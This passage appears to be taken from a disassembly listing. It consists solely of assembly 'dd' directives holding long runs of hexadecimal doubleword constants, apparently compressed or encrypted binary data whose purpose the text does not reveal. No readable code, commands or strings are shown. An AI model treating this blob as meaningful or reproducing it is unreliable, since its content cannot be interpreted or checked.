7600D55Fh dd 2EF95E54h, 4C32587Fh, 0C00084DFh, 0B4FD7B18h, 0B728EE9Ch dd 0CF2CBB84h, 0BF019DC5h, 3AD6E302h, 2A5C60h, 29120380h dd 4CDB1587h, 0A9709514h, 743800CCh, 90918149h, 8C332464h dd 3D823A84h, 86DC5C5Dh, 8B3712C0h, 7159F200h, 29A7D0AFh dd 0CEEE00FFh, 580A69B8h, 0D706C472h, 78C25907h, 0EC2E00A6h dd 81A84874h, 0AE77F01Ah, 0D818AC60h, 4883DB7Bh, 2009850h dd 46077AEFh, 0E6C39357h, 0B06305C4h, 39DA2C41h, 0DD00E494h dd 0DCE347B1h, 0B0059685h, 76BDD1E9h, 0BCE5FD80h, 54910779h dd 0A0274FDEh, 8185DD4Dh, 8026193Ch, 16715ACCh, 0B8CD64h dd 3066F33h, 93E42555h, 32574000h, 0AF141E01h, 0A0420748h dd 409F472Ah, 946F4BEEh, 832B100h, 2EB67D4h, 4F2C00B8h dd 0F2E45D99h, 0DD01ED13h, 966D69B2h, 3030B0BCh, 8364005Ch dd 0C49EB805h, 53063985h, 9D09F572h, 67E81F10h, 0C9C681BBh dd 0E842BA84h, 24246482h, 10130C1h, 0E3E74C50h, 182D8C30h dd 0A00A076Eh, 8B01A073h, 6A478110h, 4BC46071h, 0DE0C03D4h dd 6E33C8FFh, 0D0E0EAFAh, 0BE7C3090h, 0DC993500h, 0BC5248C4h dd 24B3E864h, 1F00A47Dh, 6721E3Ah, 1076B24Fh, 793FBC78h dd 0E49E000Ah, 25F5D9C9h, 606701E0h, 113D4F68h, 9B2FE880h dd 0D11D7C0Fh, 0A16F825Ah, 4E05515h, 811FA43Ch, 840C4E58h dd 0F8B158C4h, 0C08F7E70h, 90F0EF70h, 0A8C0D83Ah, 2FDDE6FEh dd 0F78E1E10h, 831CBEh, 0EF687EE9h, 0D90EB4B0h, 8035C739h dd 2691D1DDh, 3081EFBEh, 6B17372Ch, 2F34437Bh, 580CE9CBh dd 0F0146A75h, 54572430h, 8068002Eh, 16FAFFEDh, 72641160h dd 0BB5164h, 6BD4E483h, 0BC06180h, 44BA4F00h, 787BF749h dd 0DB393B71h, 95095107h, 0AA90705Fh, 2600F864h, 0C014317Ah dd 9C76A4h, 783F660Fh, 0EB4D5992h, 0B50E0800h, 2506957Ch dd 0B4FE4Bh, 79C37B5Ch, 5F5EBE84h, 7265E701h, 8F4771ADh dd 0A38CE8h, 0BD9AFEBh, 7C9AB6Bh, 0BC50A200h, 0F66653Ah dd 4B7274h, 0A6B47345h, 7170CD6Dh, 0F8C03376h, 0F842D5EBh dd 0F493A3ECh, 3C153280h, 0AC2A5A0Ch, 96A901B3h, 884228F6h dd 770E3081h, 80E87CEAh, 9AB24E40h, 8DCDF6h, 0E612F7C4h dd 1EB5CA26h, 47032F0Eh, 7B348059h, 0EAFC922h, 0F69E6F6Bh dd 43E060EEh, 55865F4Ah, 0D8F1C003h, 98B2542Fh, 888223h dd 9A686167h, 0B3E3D4DCh, 58121724h, 6C187980h, 902E7C6Eh dd 255C0064h, 5847AEEBh, 840BE7F3h, 2F933ED2h, 98156028h dd 541FFFF2h, 9883F88Bh, 792F27Fh, 2B3A4E6h, 1E68D7F6h dd 6EF8E780h, 1E00CAEEh, 2B719F56h, 0B27F28h, 952AB6FFh dd 7693E75Ah, 0DD00EF79h, 0B9D33E33h, 63F44Ah, 0C803A2FAh dd 0A4685802h, 0F89BDB03h, 80A3E565h, 75E0CCFh, 0D2B47B6Eh dd 5B2C803Ch, 90006784h, 24535D85h, 0CA33E1h, 0B5C7ED2Bh dd 1D041A3Ah, 6500DFFEh, 5D2166ECh, 0F640418Bh, 35D00013h dd 0B1E73A9Ch, 0AC003F1Fh dd 2EFF2571h, 0EA911Eh, 0F0EB37A4h, 0FBFD0554h, 3D3CE802h dd 40B3F66Dh, 26B1DBB1h, 0B1AB95h, 22A50D75h, 1E006664h dd 0FE63F25Dh, 0F3C9659Dh, 0AD6430h, 4E15ECFCh, 2F32C006h dd 0AC6C2600h, 0E8194188h, 0A5F200F7h, 2A189FE6h, 0BE00703Ch dd 81E1CF13h, 85672Eh, 696B1F78h, 7C6A11C6h, 4D4A5E00h dd 0EFDA9E4Eh, 0E5CC00B3h, 0F109198Bh, 95001A03h, 0B74B0282h dd 0A52344h, 0D09CEBC0h, 3664A7BAh, 7875AA00h, 0A2335F24h dd 0B1DA1339h, 0D4280053h, 3BB84BEFh, 1C769000h, 88AB22EAh dd 0E1F31424h, 1400D8A6h, 0D19F8A97h, 8B006552h, 32880CA0h dd 4ECBECh, 3BBACFDBh, 0A581537Dh, 8A28B603h, 0BE5E1424h dd 939F0040h, 0AF400C2Ah, 0E000EC05h, 4153367Bh, 0DC55E3h dd 82622421h, 0E65D03C6h, 0F74A1801h, 8748D596h, 0DCA9F840h dd 3DAB01E3h, 0C344A6AEh, 0DAD1E462h, 8DB13407h, 8E7B143Eh dd 4F4800EAh, 6D9E4F6h, 8A6BF971h, 0F400E042h, 8D9264E9h dd 9E5A75h, 0A308041Eh, 0FAE71724h, 85E18800h, 951B1D33h dd 0DB99013Ah, 8CF0FCC4h, 9FD8F25Eh, 2D08CA02h, 403ECC7Bh dd 0F3AC10h, 0ECF5B5AFh, 0C5118162h, 0C61A9700h, 6678BC5Ch dd 0A1BB13DBh, 1E203A0h, 0F6E9D78Fh, 2465EC99h, 3E790F00h dd 18CDBE48h, 5079C9h, 0F484CB41h, 6E4F80EDh, 3924B800h dd 0C25EE59Eh, 87440207h, 262CF566h, 5957B080h, 0E900EAD4h dd 0A58AC697h, 99AC6Eh, 248D70D3h, 0BC4E1FA3h, 0F42A31E5h dd 533E8418h, 6CD90046h, 0E43943B0h, 2E590C05h, 0CED83885h dd 9D7EF10Fh, 4680A076h, 6D20Ch, 7570414Fh, 2F2AAA5Eh dd 64BAA200h, 7EC1873Eh, 660C071Bh, 1005C8FBh, 1429D3DEh dd 21A51A00h, 0F42BAEF5h, 0E4200041h, 0A49C57E8h, 4424ECF6h dd 0C5043855h, 0E605A7CFh, 0EB60006Fh, 0C243958Bh, 0BBC3E700h dd 986CB74Ch, 0EE290049h, 6E7F0308h, 0C8E033D5h, 6FF9171Dh dd 62E6CD00h, 20FD5Ah, 0DDC93722h, 6C139660h, 0DA561A0Fh dd 0E06ACA14h, 7FCFF21Dh, 5821C716h, 9A237480h, 0A1B22E1Ah dd 72C00092h, 3CE2E461h, 0FCA80F02h, 874966F9h, 5BA5BCh dd 0DC45FE46h, 686C002Eh, 3BB9B1FFh, 0A139C043h, 9762008Bh dd 0A90D37D0h, 55D60FA6h, 32273C9Ah, 6475100Eh, 4C0E60BDh dd 403D77h, 594B6B2Dh, 53850792h, 10CB36F1h, 8A144C34h dd 2F743200h, 1EC1A8DDh, 3AB93F6Fh, 367ED180h, 770534B0h dd 93906D00h, 0A669C7A5h, 269C00BDh, 53E82866h, 0F0010706h dd 8E165EA0h, 41DA8D45h, 48AABE10h, 5FAFFA10h, 2A5AA0B2h dd 0D70DC401h, 15A35F9Fh, 3660AAC1h, 814707FBh, 800C1E57h dd 0F7EB3D25h, 5350FA01h, 0CDB6970Bh, 1C554F60h, 4388C72Dh dd 90F1493Eh, 0AF7533FFh, 0B34292E0h, 0E46CAD05h, 8A838B4Ch dd 0EBDA002Ch, 0F83DE695h, 2A096E16h, 8051DA17h, 964FBE28h dd 0C0F94B4Dh, 5E1D3E53h, 1C3AC370h, 0DCCC9E65h, 12D5A200h dd 66734Fh, 3313B909h, 6D4918EDh, 47C83500h, 641E3824h dd 0A59400C4h, 2A6F83F2h, 3C075D27h, 66FA1AB4h, 80B22182h dd 46E84AF4h, 25F91DE3h, 41BD42DDh, 90409865h, 140086C5h dd 56EDE723h, 0D1F8BEh, 179768DDh, 7D619ECh, 0C0429D24h dd 25280B00h, 0CBF453h, 3C94D0C9h, 36211975h, 6EA6A412h dd 18042E13h, 2480D4E3h, 0BD1AC167h, 5AEEBFD8h, 6A473402h dd 60576080h, 190BCB6Ch, 0A974C569h, 0B6904194h, 6F6C208Fh dd 0CB1FD124h, 0B780191Dh, 311D39B3h, 0DBED00E5h, 9A69457Dh dd 0D600B609h, 2CB32E15h, 161361Eh, 8E567B6Dh, 80FBFC94h dd 85E66839h, 3F1C90D6h, 249E7E76h, 0C0CE1E73h, 0F239FE82h dd 3890A02Bh, 17B7A91Ch, 4A40981Eh, 737E9FF8h, 0EBA2012Eh dd 9790194Bh, 0D0229Dh, 5BB3C5BCh, 8F66BDh, 62B8992Dh dd 2031ABD9h, 625E207h, 0F0943A6Ah, 17778880h, 2C834DA0h dd 0F2B77C0Ch, 3800C6F8h, 0EC88CC27h, 360EBF6h, 5B3F93FBh dd 1DFA58B3h, 5AC1B3C0h, 0F402ED00h, 629771CFh, 135FFA7Fh dd 43E93845h, 3B7656A4h, 98043804h, 0B280EED9h, 666ACBh dd 5F641F6Bh, 8BC37F34h, 1D9AA400h, 0F9A82886h, 20B9007Bh dd 71844ACEh, 23000411h, 1536BB7Eh, 258EFCh, 0F9B5EE66h dd 0D30F8753h, 0DD214900h, 79C068B2h, 655E0077h, 561F1F4h dd 0E5000EF9h, 0D0A7FAEAh, 399FC5h, 4C2B4931h, 91716D64h dd 0C8C4600h, 0E0AC560Dh, 0B9AD0538h, 94A42CEAh, 0B8C0EE10h dd 2D7AECh, 5B313674h, 843EC7CAh, 0D2F12A00h, 13548F07h dd 0BC431F93h, 48464017h, 279BF48Ch, 7914AE00h, 0DA344E87h dd 0C09CC0A7h, 0E77665D5h, 0C9163C90h, 0F8406D3Fh, 4B16B2D0h dd 0EDBA74DAh, 50C999D0h, 50CE1003h, 7E31C91h, 0F1C173C5h dd 411347CDh, 5264D423h, 8A193A2Ch, 0BFA38213h, 0C248FCC0h dd 6668DC61h, 0F181B993h, 7395EFC9h, 51433124h, 0C4D2E48Ch dd 0F900C116h, 10A4275Bh, 81C9BEh, 6324835Fh, 0E35E3CC0h dd 573EC405h, 28019066h, 0D0CDB73Ah, 0D84B788Ch, 0DA0AB170h dd 5002C984h, 3ACB930h, 3E1E00D9h, 0E6B8D09Fh, 0EB3D36FFh dd 49F20017h, 0AE9AEC30h, 80150085h, 9DC4ADF1h, 0AA00C075h dd 0DD3CA9A6h, 0A00F13h, 0B4499CC1h, 0BDD58795h, 86919900h dd 65B3A515h, 0A34E0080h, 0AF06614h, 0AA076241h, 129E75D3h dd 79CE1510h, 7A3E0B2Eh, 598BC8DAh, 507AF350h, 15847800h dd 0C11A3D70h, 270A0013h, 5802090Ch, 2C00222Ah, 779E0F45h dd 904F12Bh, 5BE06A4Fh, 0D860D70Fh, 18B43B06h, 3A1F2AEEh dd 1100EEEAh, 0B879DFC4h, 679701BCh, 3EA2467Bh, 612EF03Bh dd 5D932802h, 0A059394Ah, 29515798h, 9ECE0A05h, 17D4C332h dd 887210C2h, 0D2FF3E0Ah, 87B607A0h, 9C501039h, 6D5AFA6Ah dd 0C032B3ACh, 0B4A00329h, 0E8DE8E46h, 24005CF4h, 3778E044h dd 250A4Bh, 0EC631E2Ah, 0DD74BBEEh, 201C3B7Eh, 4880F202h dd 0D4F1A451h, 77380044h, 135C8A7Dh, 70004342h, 3E2D8676h dd 3F147BC1h, 1900F7DAh, 5D301FF4h, 5000C6ECh, 0FD239170h dd 7E4AAFh, 0F09C52Fh, 7F898AA3h, 0C9E48600h, 1E4CE039h dd 9D4F0FAEh, 0BB807A30h, 6CD4730Bh, 37111700h, 772A40A9h dd 0FCA40085h, 1E43D8F6h, 0EC004DA2h, 0D30BA1D1h, 0CEBFB7h dd 62344022h, 76DC188Ah, 194DAA07h, 8D202AF2h, 4C2EE63Bh dd 4700BF9Eh, 0A270733Dh, 0ED074A51h, 0F92B65E7h, 0E8680F70h dd 62A700E9h, 97D8B663h, 110050F3h, 1CAF534Eh, 53F640Ch dd 92F09BA8h, 0D9C280E3h, 38DFBCB3h, 811BCBh, 3C859B1Dh dd 0ED222E95h, 0B91205h, 0CBC34342h, 6E7F9CA1h, 0F29F2300h dd 3A0241D2h, 0BD6B01E6h, 0DF902780h, 0A0F8CF52h, 2E00A3A2h dd 0C41B7BBFh, 3CEA54D7h, 168055BAh, 6E647792h, 0AA0F6F5Dh dd 80DD185Ah, 0C07A9405h, 8576070Dh, 10E7F7B0h, 0B11203BAh dd 68A46606h, 0EA18A818h, 56BB005Ah, 709F4B5h, 4F00232Fh dd 2EDD964Ah, 0C6A32ECh, 0AF8756BEh, 3800BD30h, 278FAE91h dd 0C482228h, 3E034D3h, 1F008BC0h, 0BE31C6A1h, 383E3FF2h dd 5CBE4380h, 7434B42Ah, 0A9B0D9h, 0EC5D7F3h, 7B8B49CDh dd 18337900h, 61DAF435h, 0E7D5305Dh, 631947A9h, 4AE0BE00h dd 93B65CCh, 0FFDB04Ch, 486A8E3Fh, 0D19C1460h, 59704EF1h dd 6C004A90h, 1252D04Bh, 2C4A49C3h, 2FD4F0h, 0DB0C6E1Ah dd 2B07BE96h, 0AD3D6415h dd 0A8738990h, 4B6B156Dh, 0F222A0C5h, 0D526AF00h, 3C15DF99h dd 9E390001h, 7562677Bh, 2F016991h, 5A1E6FB9h, 0A080635Ch dd 0B2652CFCh, 0DE02EF51h, 34EDC8ADh, 993AE095h, 17FA0792h dd 0C14D134Eh, 60DCB9B0h, 700300Fh, 3426D41Fh, 0B2FEBh dd 0C6A5E76h, 7D7C0AB7h, 20EDCE00h, 0CDC5AE19h, 0BC8A3E63h dd 0EAA5F100h, 962AF3F6h, 2EC82150h, 48921200h, 878DA95Fh dd 0C6F0003h, 0B758D132h, 10C0047Eh, 5AAE952Bh, 3F601E45h dd 3048DCADh, 79B57F40h, 6C8A8D00h, 3121E1DCh, 61F80173h dd 2DD2D5BAh, 9974C020h, 0B8CE4Ch, 0F0B438A6h, 0E68810h dd 3C6BDD56h, 1362A97h, 450A0E00h, 0B0DBFB48h, 23072887h dd 0C8A90089h, 2A513F92h, 0BC00F80Eh, 1C2FC998h, 5CB5FF26h dd 13004452h, 0DC9C8018h, 5600DE2Bh, 4B610EDFh, 0C4C260h dd 0F3D4436Bh, 778A6481h, 0B4073B77h, 8371C60Fh, 0CC7D1210h dd 1C300046h, 698E1E23h, 5D14EFE0h, 49FE19D1h, 37D5810h dd 8ADCBCDBh, 0C66EC8B1h, 7C8098E3h, 864F0034h, 0E1C8BF90h dd 0A0E1B8Fh, 20A2F0D7h, 3165A1ADh, 19160058h, 85E9D6D3h dd 1005CD1h, 9E4B6D2Dh, 0BA820Fh, 1FD7837Fh, 0EE3C5853h dd 0C3267116h, 9D3E6707h, 8E928800h, 572001C0h, 0E76B2F01h dd 9F19E4D7h, 27520800h, 0C60C993h, 0CDCC134Dh, 57890EDDh dd 76DE8880h, 0BB00CFBAh, 63AB33C2h, 79720C4Bh, 0A19907CEh dd 0A0D92649h, 9E3A0119h, 0ABF73907h, 6995A57Ah, 95CCF000h dd 4B5ED1h, 84577012h, 0E02A0B30h, 0D40EE1EEh, 2FF9E4FDh dd 9B6C20A6h, 88DCDDh, 0CC9143F8h, 89B979ACh, 83EA4600h dd 8B024A1Ah, 0B1D50014h, 0A4487BEBh, 0F5003193h, 0DF804281h dd 0E7901Fh, 56756C3Ch, 0AF980B7Eh, 307B9B00h, 0E6F7A0A7h dd 9EEC09E4h, 8781B760h, 0F0D43D96h, 3C053A66h, 788F3221h dd 32C00AC4h, 128D5h, 0B7A0A6C0h, 7661245Fh, 0B6563307h dd 99B016ABh, 386C1B72h, 0B48057D4h, 0BD190382h, 7505A59Fh dd 3BDBFD21h, 5E44900Bh, 3E1A004Bh, 5D486682h, 80091E39h dd 0A29AFB0Bh, 3D5B4Ah, 0E087068Ch, 9364B010h, 0CA5DFE01h dd 2BFCADAAh, 2DECA0D6h, 19F88489h, 601519BBh, 3C60D8E6h dd 0C1F03C90h, 9D37A21Dh, 681ECA1Dh, 8CBB350Bh, 0BD21BCh dd 458617FDh, 258C8FBAh, 5FE895E8h, 4446512h, 6E0CF853h dd 4FC1D9h, 5D1625C5h, 960B247Dh, 1A9A7300h, 0EFCE588h dd 0CD97002Bh, 0F092253Bh, 4F002016h, 93012178h, 1C2C395h dd 0DA7D8237h, 8142F9CBh, 830E3B89h, 8EF2C3A9h, 1E0D6110h dd 0D495848Bh, 0C610701Bh, 0F2883Eh, 94362957h, 14A01AB9h dd 2224FD63h, 84008814h, 6295865Fh, 0FC1A00D9h, 71D00539h dd 6C00CA7Dh, 2B633FF5h, 1D961194h, 1C92A917h, 0B0444080h dd 0E6DC0661h, 3B69CC18h, 0B41A79h, 8AC1995Ah, 9ABB0537h dd 215608CCh, 5A8C0014h, 0FB9822ABh, 0FC00F8D9h, 4944D25Bh dd 0F45E0452h, 0EE370371h, 0C680CE95h, 3FE529E0h, 923A6409h dd 0EF181360h, 5D15E07Fh, 333E258Dh, 0F308D665h, 0EA9B2100h dd 55E309C6h, 218003BBh, 51C2DD35h, 68002493h, 0A2DE98B6h dd 68DA0677h, 5C6838EAh, 0E30C4E46h, 0F650DE28h, 0D23AA540h dd 6A170E21h, 7EE52F01h, 96C991E4h, 0D9428E8Eh, 0FF31AD5Dh dd 0C6868F10h, 51C5D52Ch, 19C2620Ch, 2D5C3838h, 6FFF500h dd 2ED37A51h, 8C981A39h, 88A4DAD7h, 60DEFA3Bh, 8B04F005h dd 383F3EEh, 7AD73DE8h, 0C5C076D6h, 6B006126h, 3F78957Eh dd 3F6A0AB9h, 7B19F5h, 0DD908F4h, 8E837C05h, 0E5599200h dd 0FC2F9137h, 90A53E63h, 13765800h, 72C2F7FBh, 800D403Bh dd 0D942ECE2h, 98C8B31Fh, 1F67E673h, 0CF055289h, 0CA802D4Fh dd 8488FB4Dh, 6208F00h, 0D56E4673h, 0BDFE0015h, 8A66F332h dd 3B7F2252h, 8F879E00h, 0AC15275Dh, 0BF953C33h, 6A48D880h dd 2524399Ah, 11175900h, 0F6FCA086h, 3F8E021h, 0EE046A3Dh dd 23D00B8Dh, 240092E6h, 8F1142E7h, 2E557A64h, 19F9F3h dd 5BBDA72Ch, 4009EE74h, 8061EF19h, 0C39E7E79h, 4AFB2E64h dd 0D2500F1Ah, 0E589A120h, 1206673Ch, 869D7A65h, 0B440150h dd 0B0B35803h, 6E9EC455h, 0DDEE6B01h, 45C20814h, 0D1E7980h dd 19558170h, 92E10516h, 41661B00h, 7804350Ch, 58E8F9D4h dd 0D25714FAh, 4604B936h, 0FAE6334Bh, 0E574CE80h, 8D03007Ch dd 0B24E8B22h, 70098DCh, 4675F928h, 108C418h, 41E17E06h dd 80918DDDh, 5BB8F981h, 70E0796h, 28F46275h, 0A657B19Eh dd 3B42F87Bh, 0D0E89C30h, 438F88Fh, 0F91CFD3Ah, 16B080ABh dd 0A24C0724h, 8CEA3822h, 19CA83E1h, 219A0805h, 7B00EB1Dh dd 5673A04Ah, 0E5690081h, 0DA63B158h, 98A8DD9Eh, 977098FAh dd 0FE9F8500h, 295B1A20h, 311600CFh, 0B2EDB95h, 0E4004533h dd 965E9706h, 0A56202h, 29FA3A9Fh, 0B0043DF1h, 4900D17Ch dd 50E77EB8h, 0CC1776B3h, 0B721CF08h, 7F490900h, 0EDC7E6D0h dd 8FF00202h, 34A67E0Ah, 5CC78C0h, 4E50B060h, 4C19AD3h dd 7215A2DFh, 98A681CFh, 36A5203Fh, 1D300860h, 6F1B1C7h dd 199F0453h, 5DF0683Ah, 8903F0F4h, 0F595D873h, 6308BED4h dd 0F9FA2138h, 9878C0CCh, 7D1E5E84h, 32188C0Dh, 40BF4690h dd 2EEA3605h, 9978A56Ch, 18A67404h, 11AF7C06h, 79008090h dd 77B10AFDh, 0CCB93130h, 7321E208h, 9F798600h, 4ABD284Dh dd 0C66D00DAh, 5015E003h, 8718B1E1h, 246109D4h, 1347FB6h dd 38D5A59Bh, 0D18B7582h, 0CA21802Fh, 8309349Fh, 6AB43A03h dd 0A66F5102h, 289DE7E3h, 4800711h, 0D21B35ADh, 0A8002972h dd 0C20E81B1h, 0A0A69E44h, 1E569DF4h, 904D31h, 4617B7Ch dd 850043E5h, 0FEE94B08h, 7293172h, 0F01B5A42h, 0C4FA00DAh dd 0A501957Ch, 0D186F5EAh, 90E41892h, 232600DBh, 0C421D9F0h dd 5E003738h, 0D0BAFD4Ah, 0C2A735h, 12844855h, 0BDB0316Ch dd 80F67C3Fh, 5120CCD3h, 0E713988h, 6694CAE3h, 8A907D7h dd 24F230B2h, 6B01463Ch, 0E19C751Ch, 2B70AD33h, 0DF441769h dd 0A3500054h, 0ACA1F57Dh, 0EA01787Bh, 472F486Eh, 5CBEB5C2h dd 7D601Eh, 678E7996h, 73000257h, 32B068FFh, 29561910h dd 0DD041F6Bh, 553618FEh, 0D6B5111Bh, 0BBCBD401h, 61B2416Dh dd 655E5E4h, 85DCC8E0h, 620819B4h, 9154D3F8h, 2D530C81h dd 60074848h, 0DCDA613Eh, 20D0B355h, 2339013Ch, 34121DB4h dd 0D518C4h, 0E2EF812Fh, 68D1641Fh, 0F900337Dh, 0B6ECCC89h dd 78691B09h, 27151EDDh, 1C8600A2h, 376F6D2Eh, 0D9D35600h dd 856B5B53h, 27F7518h, 1A964CB9h, 40A0C8C4h, 3E716286h dd 78E05306h, 39902F16h, 0D900F6F3h, 0EFF2932Bh, 0A9F6D341h dd 1887C0C3h, 0B87C42h, 0BEB28045h, 5FE1A74Ch, 0D9ECCD1Dh dd 8105052Eh, 3400C1CCh, 0DCD8BCACh, 0C11072BDh, 485659F9h dd 875BE961h, 5E861940h, 7E9A50C0h, 0AD7C019Bh, 0DB340716h dd 7B4DFCBFh, 69FEA00h, 0D61C175Ch, 140E3EFFh, 2714603Eh dd 2605C0ADh, 5E6D865Ah, 0DA510DACh, 6F0082Eh, 4A356807h dd 7ED7CCB0h, 5F40FC0Ah, 607353D5h, 8467C063h, 80C02316h dd 0C8E1C9F3h, 62ED15A8h, 1D079895h, 41207435h, 4C010B56h dd 65425724h, 0A240A10h, 90DDFB03h, 0F3FD80BDh, 6FDF6740h dd 302F00D7h, 991EC7B8h, 1F070851h, 0C66CD3D8h, 9CC91B41h dd 610965F0h, 1B19034h dd 0D7FC40FDh, 0D0F7ACE0h, 80027DFh, 5442D89Fh, 61AFFE24h dd 0A989B81Ah, 0C5BC47F0h, 7CB01156h, 4E626FC4h, 1DB1787Ch dd 28E06F6Ch, 13C65A40h, 11262B1h, 7444530Dh, 7E0FB62Dh dd 5EAD3922h, 9E21B4A0h, 2060306Ch, 0A589E848h, 0B2B0C0AEh dd 0F0D194EFh, 0FA7F6D06h, 1F18FB11h, 9A69BEDh, 58023418h dd 6840E9F1h, 567C369Fh, 6CC21909h, 80282053h, 7C245FACh dd 569924D5h, 89D94474h, 25904240h, 6722F4B6h, 4E492861h dd 205561FCh, 22CCC0B4h, 8C2200ECh, 0B187A4Bh, 0D8284971h dd 51FC44h, 729CDA56h, 0EB174ADBh, 43A0624h, 0A85C5B50h dd 699B434h, 1370706h, 20F7290Ah, 0CE01FECCh, 0A71039DEh dd 9C40252Dh, 719542A9h, 821A0752h, 0C0DE90CDh, 9F60F4C9h dd 55E6730Ch, 67178h, 1401CD6Dh, 1FFFA971h, 1E23C207h dd 81B0CCBBh, 287A1725h, 1888B45Dh, 88C150EBh, 9709662Eh dd 981911C9h, 81B91550h, 91B4105Eh, 0B208324Eh, 0EC4484A8h dd 4F00BFF8h, 5180A473h, 1919F03h, 0E521F318h, 0E4305FC8h dd 541F72F7h, 0B8303B09h, 302FAEBBh, 99711094h, 6F11A643h dd 0D603819Bh, 0C2520B82h, 80001C8Bh, 6F771BEBh, 0DB305889h dd 88C4838h, 0D53B819Ch, 88758782h, 81377428h, 9E27E6D7h dd 88DDF1BBh, 8C6D3568h, 3B800C8Ah, 0C1456B7Ch, 0BB0EE9BEh dd 1E609CF6h, 3098DF18h, 30184FAh, 4DCEBFD6h, 0F0C4DE9Eh dd 1D590951h, 9C287DD7h, 0F6B70720h, 0DE433086h, 76014D04h dd 0D6209C27h, 0B1800CA6h, 7952F69Dh, 7E12EABFh, 4C4515F9h dd 0DC1DCEBDh, 82C9803Bh, 0B23B241Dh, 42A0265Ah, 0F3E90198h dd 8058C5ECh, 0A604D930h, 0F8E88F16h, 561524C4h, 0CE200AACh dd 0D6406FE8h, 0D97E3E08h, 470986F0h, 205CC0A0h, 2307D36Ch dd 0A0DE4C74h, 685AB482h, 9FCE7868h, 4D37331Dh, 243A4300h dd 0FCB9B26Fh, 100100DBh, 1F095219h, 0B51FDE5Ch, 47011BBFh dd 7BBC6C6Fh, 0B0964895h, 32C9CE80h, 0D314BB90h, 20B8E71Ah dd 426658AEh, 48EC6E01h, 319768E6h, 0CE50488Ch, 5C04EBF0h dd 1CF7AD34h, 1A382501h, 4266D16Fh, 40748AB0h, 5F64DE00h dd 6CA64855h, 475C4156h, 0A8F7421Fh, 0D5389440h, 0B080E9BFh dd 0F9070D7h, 396B1806h, 291F7F83h, 6EA019C3h, 2774B442h dd 62AF5F05h, 8C003D59h, 0B2FE18E9h, 0A094AAC2h, 8ECEE7E8h dd 5A9230B1h, 38866E29h, 31109C19h, 5C10BE30h, 15077093h dd 998950D8h, 693A45C0h, 0E0D7D67h, 88608086h, 14002D8Bh dd 511337A6h, 0C9D6FA00h, 4B24E2F6h, 34EF225h, 397C288Dh dd 0D83A2D1Eh, 5B521913h, 806E0BE6h, 23D9EB80h, 60BB2400h dd 19E4AC8Dh, 18B22631h, 7E9058E0h, 0D3800658h, 8C5FE012h dd 42C2826h, 16CB2824h, 0B9BF209Ch, 7C344848h, 1538418Ah dd 96240608h, 483E8C28h, 21E1CC68h, 7DA09081h, 44B4D9Bh dd 0E4457120h, 2088CC44h, 1661C170h, 0B86E1BECh, 24847828h dd 81C8AEB7h, 0C24F9030h, 6C2024A9h, 5CCD9D12h, 8459AC09h dd 70040240h, 576221Ah, 764C2728h, 0C4222834h, 0C9E3311Ch dd 0F1518C40h, 251992D9h, 148AFC44h, 80C338C1h, 0E6BF6880h dd 0DEEC1C4Dh, 7F52B33Ch, 19052EE0h, 897F58D1h, 0CC8824h dd 0E00860C1h, 0FD1AAEB0h, 7493AC9Ah, 80C2C51Ch, 0CE3836A9h dd 0A1B41D28h, 998AC0C4h, 653045C2h, 0AC92AE74h, 82D0845Ch dd 64D49CDBh, 429D0168h, 0EB6F61C8h, 6BC8606Dh, 0DD7C661Dh dd 46343305h, 20AD0CC2h, 0B27D0AF8h, 84EF5009h, 6C24911Ch dd 51DCD610h, 770020B2h, 0C7DD09E8h, 91F24769h, 22678900h dd 5F666881h, 5731D54Eh, 5084B9BCh, 0E654406Ch, 788501DAh dd 0D94CA11Dh, 0EC131C29h, 64A84009h, 0A7B467CEh, 0F607A87Ch dd 467A24C3h, 57125CFAh, 416E4841h, 0C9E114ECh, 0DEDC94DDh dd 1D83245Eh, 9CED47C0h, 0E3093AD9h, 246DB59h, 44124EF0h dd 489E6080h, 0F3646A54h, 1A6CE454h, 4623EB16h, 72496420h dd 0D621136Ch, 33A01396h, 0B0000E24h, 0E5C7CD50h, 0F696186Eh dd 97E83FAEh, 30C718D7h, 68CF105Ah, 0B007476Bh, 0DB1F4B51h dd 7EE29E10h, 9A989255h, 0F44F00E0h, 0AD4621E4h, 89B89009h dd 0C85E6C00h, 59E93417h, 6F523C7Ah, 7469BE14h, 0A7DBC600h dd 5CF74396h, 0C1408654h, 1742501h, 4252F144h, 94729371h dd 0D3F72B82h, 0EBF8900Bh, 0F8410375h, 14943056h, 57CE3100h dd 7F529180h, 2C80B03Ah, 800C3BAEh, 97D6E53Ch, 7726067Ah dd 0C20030CDh, 241B3051h, 0D780094Eh, 1C2AAA70h, 37770864h dd 0A14A598Eh, 0B2DC52E5h, 4080EC52h, 0DF7FDB94h, 9F344510h dd 83A0C33Fh, 2830D3F8h, 8012C27Fh, 0E4D0781Fh, 600B922Bh dd 1A683816h, 86802D52h, 25950008h, 1CA7B115h, 0D0A11FF3h dd 9D084C1Bh, 0FE00B343h, 0A995345Fh, 0B700B20Ch, 6939931Bh dd 90793154h, 127A0A8Ch, 2A0D636h, 0B44C6CB6h, 5FAE20A0h dd 6B3F9F08h, 1650241h, 58E1A977h, 241F009Ch, 0D8FC1E55h dd 30EA22DDh, 93F9FDEEh, 0C020D6D8h, 98AD2E0Eh, 4418D224h dd 325E86FCh, 432016C5h, 120B3BFh, 0DFEB9D06h, 0EDA43018h dd 50663040h, 0A0E5E837h, 2C2034D8h, 8944CE71h, 204808ABh dd 88B8C801h, 0FE7AB8C0h, 127F4E91h, 42200258h, 0B1544710h dd 7EDDC80h, 7E18F58Eh, 0AF0152Ah, 4E4D0110h, 56529FECh dd 60F42017h, 80F13561h, 49963455h, 0AAB005C6h, 0E59402D4h dd 3C706F4Dh, 6E3BA800h, 1DC7F376h, 305F0ACEh, 64081C07h dd 62D06726h, 490BEC42h, 54000C34h, 0ADA06B51h, 880AB58Dh dd 44C35556h, 59F56670h, 0F2CBD484h, 1FEC803h, 3508EC8h dd 4869C800h, 560B835Bh, 1B533EDDh, 24F83864h, 0BC134BC7h dd 1C617C6Fh, 140AEC24h, 7B80D022h, 81A9C839h, 387EEB27h dd 1E8A22C0h, 0E951C1DFh, 0B00C15CCh, 0A41289B7h, 0EBA304E0h dd 1741A4A0h, 60B06055h, 2D178560h, 0B000779Ch, 61D353BFh dd 2108A466h, 9384671Bh, 7C951D1Fh, 946BB040h, 0D4111555h dd 0E009F4C0h, 0D0017081h, 78076DC2h, 4BBC1DA0h, 9C0DC7C4h dd 246FC80h, 283D4BE9h, 3B4077DCh, 459E14EDh, 1E2C8436h dd 532831FFh, 203271h, 0BAC034Bh, 7F45BADh, 3C85FE1Dh dd 7333F7C8h, 